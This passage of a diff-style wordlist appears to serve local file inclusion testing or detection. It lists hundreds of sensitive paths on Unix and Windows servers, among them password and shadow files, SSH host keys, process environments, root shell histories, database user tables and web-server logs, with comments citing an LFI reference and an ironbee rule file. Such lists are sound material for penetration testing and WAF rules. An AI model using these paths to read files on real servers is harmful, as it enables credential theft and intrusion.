+/etc/networks +/etc/npasswd +/etc/passwd +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/printcap +/etc/profile +/etc/proftp.conf +/etc/proftpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/snmpd.conf +/etc/ssh/ssh_config +/etc/ssh/sshd_config +/etc/ssh/ssh_host_dsa_key +/etc/ssh/ssh_host_dsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/sysconfig/network +/etc/syslog.conf +/etc/termcap +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/opt/lampp/etc/httpd.conf +/opt/xampp/etc/php.ini +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules +/proc/mounts +/proc/stat +/proc/swaps +/proc/version +/proc/self/net/arp +/root/anaconda-ks.cfg +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/log +/usr/local/apache/logs +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/audit_log +/usr/local/apache/error_log +/usr/local/apache/error.log +/usr/local/cpanel/logs +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/adm/log/xferlog +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/lib/mysql/mysql/user.MYD +/var/local/www/conf/php.ini +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/htmp +/var/log/chttp.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg +/var/log/dpkg.log +/var/log/exim_mainlog +/var/log/exim/mainlog +/var/log/exim_paniclog +/var/log/exim.paniclog +/var/log/exim_rejectlog +/var/log/exim/rejectlog +/var/log/faillog +/var/log/ftplog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/mail.log +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/messages +/var/log/mysqlderror.log +/var/log/mysql.log +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql.log +/var/log/mysql/mysql-slow.log +/var/log/proftpd +/var/log/pureftpd.log +/var/log/pure-ftpd/pure-ftpd.log +/var/log/secure +/var/log/vsftpd.log +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log +/var/mysql.log +/var/run/utmp +/var/spool/cron/crontabs/root +/var/webmin/miniserv.log +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access_log +/var/www/logs/error_log +/var/www/logs/access.log +/var/www/logs/error.log + +# Reference: https://nets.ec/File_Inclusion + +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/usr/local/apache/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/httpd/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/opt/apache/conf/httpd.conf +/opt/apache2/conf/httpd.conf +/var/www/conf/httpd.conf +/usr/local/php/httpd.conf +/usr/local/php4/httpd.conf +/usr/local/php5/httpd.conf +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/usr/local/Zend/etc/php.ini +/opt/xampp/etc/php.ini +/var/local/www/conf/php.ini +/etc/php/cgi/php.ini +/etc/php4/cgi/php.ini +/etc/php5/cgi/php.ini +/var/log/lastlog +/var/log/wtmp +/var/run/utmp +/var/log/messages.log +/var/log/messages +/var/log/messages.0 +/var/log/messages.1 +/var/log/messages.2 +/var/log/messages.3 +/var/log/syslog.log +/var/log/syslog +/var/log/syslog.0 +/var/log/syslog.1 +/var/log/syslog.2 +/var/log/syslog.3 +/var/log/auth.log +/var/log/auth.log.0 +/var/log/auth.log.1 +/var/log/auth.log.2 +/var/log/auth.log.3 +/var/log/authlog +/var/log/syslog +/var/adm/lastlog +/var/adm/messages +/var/adm/messages.0 +/var/adm/messages.1 +/var/adm/messages.2 +/var/adm/messages.3 +/var/adm/utmpx +/var/adm/wtmpx +/var/log/kernel.log +/var/log/secure.log +/var/log/mail.log +/var/run/utmp +/var/log/wtmp +/var/log/lastlog +/var/log/access.log +/var/log/access_log +/var/log/error.log +/var/log/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log + +# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data + +/.htaccess +/.htpasswd +/[jboss]/server/default/conf/jboss-minimal.xml +/[jboss]/server/default/conf/jboss-service.xml +/[jboss]/server/default/conf/jndi.properties +/[jboss]/server/default/conf/log4j.xml +/[jboss]/server/default/conf/login-config.xml +/[jboss]/server/default/conf/server.log.properties +/[jboss]/server/default/conf/standardjaws.xml +/[jboss]/server/default/conf/standardjboss.xml +/[jboss]/server/default/deploy/jboss-logging.xml +/[jboss]/server/default/log/boot.log +/[jboss]/server/default/log/server.log +/access.log +/access_log +/apache/conf/httpd.conf +/apache/logs/access.log +/apache/logs/error.log +/apache/php/php.ini +/apache2/logs/access.log +/apache2/logs/error.log +/bin/php.ini +/boot.ini +/boot/grub/grub.cfg +/boot/grub/menu.lst +/config.inc.php +/error.log +/error_log +/etc/adduser.conf +/etc/alias +/etc/apache/access.conf +/etc/apache/apache.conf +/etc/apache/conf/httpd.conf +/etc/apache/default-server.conf +/etc/apache/httpd.conf +/etc/apache2/apache.conf +/etc/apache2/apache2.conf +/etc/apache2/conf.d/charset +/etc/apache2/conf.d/phpmyadmin.conf +/etc/apache2/conf.d/security +/etc/apache2/conf/httpd.conf +/etc/apache2/default-server.conf +/etc/apache2/envvars +/etc/apache2/httpd.conf +/etc/apache2/httpd2.conf +/etc/apache2/mods-available/autoindex.conf +/etc/apache2/mods-available/deflate.conf +/etc/apache2/mods-available/dir.conf +/etc/apache2/mods-available/mem_cache.conf +/etc/apache2/mods-available/mime.conf +/etc/apache2/mods-available/proxy.conf +/etc/apache2/mods-available/setenvif.conf +/etc/apache2/mods-available/ssl.conf +/etc/apache2/mods-enabled/alias.conf +/etc/apache2/mods-enabled/deflate.conf +/etc/apache2/mods-enabled/dir.conf +/etc/apache2/mods-enabled/mime.conf +/etc/apache2/mods-enabled/negotiation.conf +/etc/apache2/mods-enabled/php5.conf +/etc/apache2/mods-enabled/status.conf +/etc/apache2/ports.conf +/etc/apache2/sites-available/default +/etc/apache2/sites-available/default-ssl +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-enabled/default +/etc/apache2/ssl-global.conf +/etc/apache2/vhosts.d/00_default_vhost.conf +/etc/apache2/vhosts.d/default_vhost.include +/etc/apache22/conf/httpd.conf +/etc/apache22/httpd.conf +/etc/apt/apt.conf +/etc/avahi/avahi-daemon.conf +/etc/bash.bashrc +/etc/bash_completion.d/debconf +/etc/bluetooth/input.conf +/etc/bluetooth/main.conf +/etc/bluetooth/network.conf +/etc/bluetooth/rfcomm.conf +/etc/ca-certificates.conf +/etc/ca-certificates.conf.dpkg-old +/etc/casper.conf +/etc/chkrootkit.conf +/etc/chrootusers +/etc/clamav/clamd.conf +/etc/clamav/freshclam.conf +/etc/crontab +/etc/crypttab +/etc/cups/acroread.conf +/etc/cups/cupsd.conf +/etc/cups/cupsd.conf.default +/etc/cups/pdftops.conf +/etc/cups/printers.conf +/etc/cvs-cron.conf +/etc/cvs-pserver.conf +/etc/debconf.conf +/etc/debian_version +/etc/default/grub +/etc/deluser.conf +/etc/dhcp/dhclient.conf +/etc/dhcp3/dhclient.conf +/etc/dhcp3/dhcpd.conf +/etc/dns2tcpd.conf +/etc/e2fsck.conf +/etc/esound/esd.conf +/etc/etter.conf +/etc/exports +/etc/fedora-release +/etc/firewall.rules +/etc/foremost.conf +/etc/fstab +/etc/ftpchroot +/etc/ftphosts +/etc/ftpusers +/etc/fuse.conf +/etc/group +/etc/group- +/etc/hdparm.conf +/etc/host.conf +/etc/hostname +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/etc/httpd.conf +/etc/httpd/apache.conf +/etc/httpd/apache2.conf +/etc/httpd/conf +/etc/httpd/conf.d +/etc/httpd/conf.d/php.conf +/etc/httpd/conf.d/squirrelmail.conf +/etc/httpd/conf/apache.conf +/etc/httpd/conf/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/extra/httpd-ssl.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/etc/httpd/mod_php.conf +/etc/httpd/php.ini +/etc/inetd.conf +/etc/init.d +/etc/inittab +/etc/ipfw.conf +/etc/ipfw.rules +/etc/issue +/etc/issue +/etc/issue.net +/etc/kbd/config +/etc/kernel-img.conf +/etc/kernel-pkg.conf +/etc/ld.so.conf +/etc/ldap/ldap.conf +/etc/lighttpd/lighthttpd.conf +/etc/login.defs +/etc/logrotate.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/ltrace.conf +/etc/mail/sendmail.conf +/etc/mandrake-release +/etc/manpath.config +/etc/miredo-server.conf +/etc/miredo.conf +/etc/miredo/miredo-server.conf +/etc/miredo/miredo.conf +/etc/modprobe.d/vmware-tools.conf +/etc/modules +/etc/mono/1.0/machine.config +/etc/mono/2.0/machine.config +/etc/mono/2.0/web.config +/etc/mono/config +/etc/motd +/etc/motd +/etc/mtab +/etc/mtools.conf +/etc/muddleftpd.com +/etc/muddleftpd/muddleftpd.conf +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/mudlog +/etc/muddleftpd/mudlogd.conf +/etc/muddleftpd/passwd +/etc/my.cnf +/etc/mysql/conf.d/old_passwords.cnf +/etc/mysql/my.cnf +/etc/networks +/etc/newsyslog.conf +/etc/nginx/nginx.conf +/etc/openldap/ldap.conf +/etc/os-release +/etc/osxhttpd/osxhttpd.conf +/etc/pam.conf +/etc/pam.d/proftpd +/etc/passwd +/etc/passwd +/etc/passwd- +/etc/passwd~ +/etc/password.master +/etc/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/cgi/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php5/cgi/php.ini +/etc/phpmyadmin/config.inc.php +/etc/postgresql/pg_hba.conf +/etc/postgresql/postgresql.conf +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pulse/client.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/rc.conf +/etc/rc.d/rc.httpd +/etc/redhat-release +/etc/resolv.conf +/etc/resolvconf/update-libc.d/sendmail +/etc/samba/dhcp.conf +/etc/samba/netlogon +/etc/samba/private/smbpasswd +/etc/samba/samba.conf +/etc/samba/smb.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/etc/security/access.conf +/etc/security/environ +/etc/security/failedlogin +/etc/security/group +/etc/security/group.conf +/etc/security/lastlog +/etc/security/limits +/etc/security/limits.conf +/etc/security/namespace.conf +/etc/security/opasswd +/etc/security/pam_env.conf +/etc/security/passwd +/etc/security/sepermit.conf +/etc/security/time.conf +/etc/security/user +/etc/sensors.conf +/etc/sensors3.conf +/etc/shadow +/etc/shadow- +/etc/shadow~ +/etc/slackware-release +/etc/smb.conf +/etc/smbpasswd +/etc/smi.conf +/etc/squirrelmail/apache.conf +/etc/squirrelmail/config.php +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config_default.php +/etc/squirrelmail/config_local.php +/etc/squirrelmail/default_pref +/etc/squirrelmail/filters_setup.php +/etc/squirrelmail/index.php +/etc/squirrelmail/sqspell_config.php +/etc/ssh/sshd_config +/etc/sso/sso_config.ini +/etc/stunnel/stunnel.conf +/etc/subversion/config +/etc/sudoers +/etc/suse-release +/etc/sw-cp-server/applications.d/00-sso-cpserver.conf +/etc/sw-cp-server/applications.d/plesk.conf +/etc/sysconfig/network-scripts/ifcfg-eth0 +/etc/sysctl.conf +/etc/sysctl.d/10-console-messages.conf +/etc/sysctl.d/10-network-security.conf +/etc/sysctl.d/10-process-security.conf +/etc/sysctl.d/wine.sysctl.conf +/etc/syslog.conf +/etc/timezone +/etc/tinyproxy/tinyproxy.conf +/etc/tor/tor-tsocks.conf +/etc/tsocks.conf +/etc/updatedb.conf +/etc/updatedb.conf.beforevmwaretoolsinstall +/etc/utmp +/etc/vhcs2/proftpd/proftpd.conf +/etc/vmware-tools/config +/etc/vmware-tools/tpvmlp.conf +/etc/vmware-tools/vmware-tools-libraries.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/webmin/miniserv.conf +/etc/webmin/miniserv.users +/etc/wicd/dhclient.conf.template.default +/etc/wicd/manager-settings.conf +/etc/wicd/wired-settings.conf +/etc/wicd/wireless-settings.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/etc/x11/xorg.conf +/etc/x11/xorg.conf-vesa +/etc/x11/xorg.conf-vmware +/etc/x11/xorg.conf.beforevmwaretoolsinstall +/etc/x11/xorg.conf.orig +/home/bin/stable/apache/php.ini +/home/postgres/data/pg_hba.conf +/home/postgres/data/pg_ident.conf +/home/postgres/data/pg_version +/home/postgres/data/postgresql.conf +/home/user/lighttpd/lighttpd.conf +/home2/bin/stable/apache/php.ini +/http/httpd.conf +/library/webserver/documents/.htaccess +/library/webserver/documents/default.htm +/library/webserver/documents/default.html +/library/webserver/documents/default.php +/library/webserver/documents/index.htm +/library/webserver/documents/index.html +/library/webserver/documents/index.php +/logs/access.log +/logs/access_log +/logs/error.log +/logs/error_log +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/mysql/bin/my.ini +/mysql/data/mysql-bin.index +/mysql/data/mysql-bin.log +/mysql/data/mysql.err +/mysql/data/mysql.log +/mysql/my.cnf +/mysql/my.ini +/netserver/bin/stable/apache/php.ini +/opt/[jboss]/server/default/conf/jboss-minimal.xml +/opt/[jboss]/server/default/conf/jboss-service.xml +/opt/[jboss]/server/default/conf/jndi.properties +/opt/[jboss]/server/default/conf/log4j.xml +/opt/[jboss]/server/default/conf/login-config.xml +/opt/[jboss]/server/default/conf/server.log.properties +/opt/[jboss]/server/default/conf/standardjaws.xml +/opt/[jboss]/server/default/conf/standardjboss.xml +/opt/[jboss]/server/default/deploy/jboss-logging.xml +/opt/[jboss]/server/default/log/boot.log +/opt/[jboss]/server/default/log/server.log +/opt/apache/apache.conf +/opt/apache/apache2.conf +/opt/apache/conf/apache.conf +/opt/apache/conf/apache2.conf +/opt/apache/conf/httpd.conf +/opt/apache2/apache.conf +/opt/apache2/apache2.conf +/opt/apache2/conf/apache.conf +/opt/apache2/conf/apache2.conf +/opt/apache2/conf/httpd.conf +/opt/apache22/conf/httpd.conf +/opt/httpd/apache.conf +/opt/httpd/apache2.conf +/opt/httpd/conf/apache.conf +/opt/httpd/conf/apache2.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/lsws/conf/httpd_conf.xml +/opt/lsws/logs/access.log +/opt/lsws/logs/error.log +/opt/tomcat/logs/catalina.err +/opt/tomcat/logs/catalina.out +/opt/xampp/etc/php.ini +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log +/php/php.ini +/php/php.ini +/php4/php.ini +/php5/php.ini +/postgresql/log/pgadmin.log +/private/etc/httpd/apache.conf +/private/etc/httpd/apache2.conf +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/private/etc/squirrelmail/config/config.php +/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml +/private/tmp/[jboss]/server/default/conf/jboss-service.xml +/private/tmp/[jboss]/server/default/conf/jndi.properties +/private/tmp/[jboss]/server/default/conf/log4j.xml +/private/tmp/[jboss]/server/default/conf/login-config.xml +/private/tmp/[jboss]/server/default/conf/server.log.properties +/private/tmp/[jboss]/server/default/conf/standardjaws.xml +/private/tmp/[jboss]/server/default/conf/standardjboss.xml +/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml +/private/tmp/[jboss]/server/default/log/boot.log +/private/tmp/[jboss]/server/default/log/server.log +/proc/cpuinfo +/proc/devices +/proc/meminfo +/proc/net/tcp +/proc/net/udp +/proc/self/cmdline +/proc/self/environ +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/10 +/proc/self/fd/11 +/proc/self/fd/12 +/proc/self/fd/13 +/proc/self/fd/14 +/proc/self/fd/15 +/proc/self/fd/2 +/proc/self/fd/3 +/proc/self/fd/4 +/proc/self/fd/5 +/proc/self/fd/6 +/proc/self/fd/7 +/proc/self/fd/8 +/proc/self/fd/9 +/proc/self/mounts +/proc/self/stat +/proc/self/status +/proc/version +/program files/[jboss]/server/default/conf/jboss-minimal.xml +/program files/[jboss]/server/default/conf/jboss-service.xml +/program files/[jboss]/server/default/conf/jndi.properties +/program files/[jboss]/server/default/conf/log4j.xml +/program files/[jboss]/server/default/conf/login-config.xml +/program files/[jboss]/server/default/conf/server.log.properties +/program files/[jboss]/server/default/conf/standardjaws.xml +/program files/[jboss]/server/default/conf/standardjboss.xml +/program files/[jboss]/server/default/deploy/jboss-logging.xml +/program files/[jboss]/server/default/log/boot.log +/program files/[jboss]/server/default/log/server.log +/program files/apache group/apache/apache.conf +/program files/apache group/apache/apache2.conf +/program files/apache group/apache/conf/apache.conf +/program files/apache group/apache/conf/apache2.conf +/program files/apache group/apache/conf/httpd.conf +/program files/apache group/apache/logs/access.log +/program files/apache group/apache/logs/error.log +/program files/apache group/apache2/conf/apache.conf +/program files/apache group/apache2/conf/apache2.conf +/program files/apache group/apache2/conf/httpd.conf +/program files/apache software foundation/apache2.2/conf/httpd.conf +/program files/apache software foundation/apache2.2/logs/access.log +/program files/apache software foundation/apache2.2/logs/error.log +/program files/mysql/data/mysql-bin.index +/program files/mysql/data/mysql-bin.log +/program files/mysql/data/mysql.err +/program files/mysql/data/mysql.log +/program files/mysql/my.cnf +/program files/mysql/my.ini +/program files/mysql/mysql server 5.0/data/mysql-bin.index +/program files/mysql/mysql server 5.0/data/mysql-bin.log +/program files/mysql/mysql server 5.0/data/mysql.err +/program files/mysql/mysql server 5.0/data/mysql.log +/program files/mysql/mysql server 5.0/my.cnf +/program files/mysql/mysql server 5.0/my.ini +/program files/postgresql/8.3/data/pg_hba.conf +/program files/postgresql/8.3/data/pg_ident.conf +/program files/postgresql/8.3/data/postgresql.conf +/program files/postgresql/8.4/data/pg_hba.conf +/program files/postgresql/8.4/data/pg_ident.conf +/program files/postgresql/8.4/data/postgresql.conf +/program files/postgresql/9.0/data/pg_hba.conf +/program files/postgresql/9.0/data/pg_ident.conf +/program files/postgresql/9.0/data/postgresql.conf +/program files/postgresql/9.1/data/pg_hba.conf +/program files/postgresql/9.1/data/pg_ident.conf +/program files/postgresql/9.1/data/postgresql.conf +/program files/vidalia bundle/polipo/polipo.conf +/program files/xampp/apache/conf/apache.conf +/program files/xampp/apache/conf/apache2.conf +/program files/xampp/apache/conf/httpd.conf +/root/.bash_config +/root/.bash_history +/root/.bash_logout +/root/.bashrc +/root/.ksh_history +/root/.xauthority +/srv/www/htdos/squirrelmail/config/config.php +/ssl_request_log +/system/library/webobjects/adaptors/apache2.2/apache.conf +/temp/sess_ +/thttpd_log +/tmp/[jboss]/server/default/conf/jboss-minimal.xml +/tmp/[jboss]/server/default/conf/jboss-service.xml +/tmp/[jboss]/server/default/conf/jndi.properties +/tmp/[jboss]/server/default/conf/log4j.xml +/tmp/[jboss]/server/default/conf/login-config.xml +/tmp/[jboss]/server/default/conf/server.log.properties +/tmp/[jboss]/server/default/conf/standardjaws.xml +/tmp/[jboss]/server/default/conf/standardjboss.xml +/tmp/[jboss]/server/default/deploy/jboss-logging.xml +/tmp/[jboss]/server/default/log/boot.log +/tmp/[jboss]/server/default/log/server.log +/tmp/access.log +/tmp/sess_ +/usr/apache/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/home/user/lighttpd/lighttpd.conf +/usr/home/user/var/log/apache.log +/usr/home/user/var/log/lighttpd.error.log +/usr/internet/pgsql/data/pg_hba.conf +/usr/internet/pgsql/data/postmaster.log +/usr/lib/cron/log +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/[jboss]/server/default/conf/jboss-minimal.xml +/usr/local/[jboss]/server/default/conf/jboss-service.xml +/usr/local/[jboss]/server/default/conf/jndi.properties +/usr/local/[jboss]/server/default/conf/log4j.xml +/usr/local/[jboss]/server/default/conf/login-config.xml +/usr/local/[jboss]/server/default/conf/server.log.properties +/usr/local/[jboss]/server/default/conf/standardjaws.xml +/usr/local/[jboss]/server/default/conf/standardjboss.xml +/usr/local/[jboss]/server/default/deploy/jboss-logging.xml +/usr/local/[jboss]/server/default/log/boot.log +/usr/local/[jboss]/server/default/log/server.log +/usr/local/apache/apache.conf +/usr/local/apache/apache2.conf +/usr/local/apache/conf/access.conf +/usr/local/apache/conf/apache.conf +/usr/local/apache/conf/apache2.conf +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/httpd.conf.default +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/conf/vhosts-custom.conf +/usr/local/apache/conf/vhosts.conf +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/audit_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/lighttpd.error.log +/usr/local/apache/logs/lighttpd.log +/usr/local/apache/logs/mod_jk.log +/usr/local/apache1.3/conf/httpd.conf +/usr/local/apache2/apache.conf +/usr/local/apache2/apache2.conf +/usr/local/apache2/conf/apache.conf +/usr/local/apache2/conf/apache2.conf +/usr/local/apache2/conf/extra/httpd-ssl.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/conf/modsec.conf +/usr/local/apache2/conf/ssl.conf +/usr/local/apache2/conf/vhosts-custom.conf +/usr/local/apache2/conf/vhosts.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/audit_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/lighttpd.error.log +/usr/local/apache2/logs/lighttpd.log +/usr/local/apache22/conf/httpd.conf +/usr/local/apache22/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache22/conf/httpd.conf +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache2/httpd.conf +/usr/local/etc/apache2/vhosts.conf +/usr/local/etc/apache22/conf/httpd.conf +/usr/local/etc/apache22/httpd.conf +/usr/local/etc/httpd/conf +/usr/local/etc/httpd/conf/httpd.conf 